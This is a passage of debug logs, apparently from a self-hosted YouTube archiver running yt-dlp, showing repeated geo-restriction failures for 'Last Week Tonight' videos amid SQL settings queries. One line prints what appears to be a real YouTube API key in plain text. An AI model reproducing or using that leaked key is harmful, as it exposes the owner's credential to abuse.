in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:11.387 [debug] QUERY OK source="settings" db=0.1ms idle=720.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:11.387 [debug] QUERY OK source="settings" db=0.0ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:11.387 [debug] Running yt-dlp command for action: get_media_attributes 16:06:11.392 [debug] QUERY OK source="settings" db=0.1ms idle=513.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:11.392 [debug] QUERY OK source="settings" db=0.1ms idle=513.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:11.392 [debug] QUERY OK source="settings" db=0.1ms idle=513.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:11.392 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/67/82/6782f7e5664536a76bd63e069341388eb4681814c3e55d9d2baf2f430ea801ff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:12.694 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/67/82/6782f7e5664536a76bd63e069341388eb4681814c3e55d9d2baf2f430ea801ff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:12.694 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:12.694 [debug] QUERY OK source="settings" db=0.1ms idle=1302.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:12.694 [debug] QUERY OK source="settings" db=0.0ms idle=1302.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:12.694 [debug] Running yt-dlp command for action: get_media_attributes 16:06:12.696 [debug] QUERY OK source="settings" db=0.0ms idle=1303.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:12.696 [debug] QUERY OK source="settings" db=0.0ms idle=1028.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:12.696 [debug] QUERY OK source="settings" db=0.0ms idle=27.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:12.696 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/b1/15b1c8c064f4c360c18913667e4fa87f098c1877866bcc1f039f57dcc62c4346.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:14.152 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/b1/15b1c8c064f4c360c18913667e4fa87f098c1877866bcc1f039f57dcc62c4346.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:14.152 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:06:14.152 [debug] QUERY OK source="settings" db=0.1ms idle=482.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:14.153 [debug] QUERY OK source="settings" db=0.0ms idle=274.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:14.153 [debug] Running yt-dlp command for action: get_media_attributes 16:06:14.155 [debug] QUERY OK source="settings" db=0.1ms idle=276.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:14.155 [debug] QUERY OK source="settings" db=0.0ms idle=277.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:14.155 [debug] QUERY OK source="settings" db=0.0ms idle=277.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:14.155 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/52/3f/523fdccf46b879e8cc9a8e45b0ca105ad311287f98fcf3a5afc324106389322d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:15.678 [info] {"args":{"id":19},"id":3799843,"meta":{},"system_time":1770761175678728927,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:15.679 [debug] QUERY OK source="sources" db=0.1ms idle=1523.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:06:15.679 [debug] QUERY OK source="settings" db=0.1ms idle=1523.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.679 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:15.679 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.679 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:06:15.679 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:15.679 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:15.692 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/52/3f/523fdccf46b879e8cc9a8e45b0ca105ad311287f98fcf3a5afc324106389322d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:15.692 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, 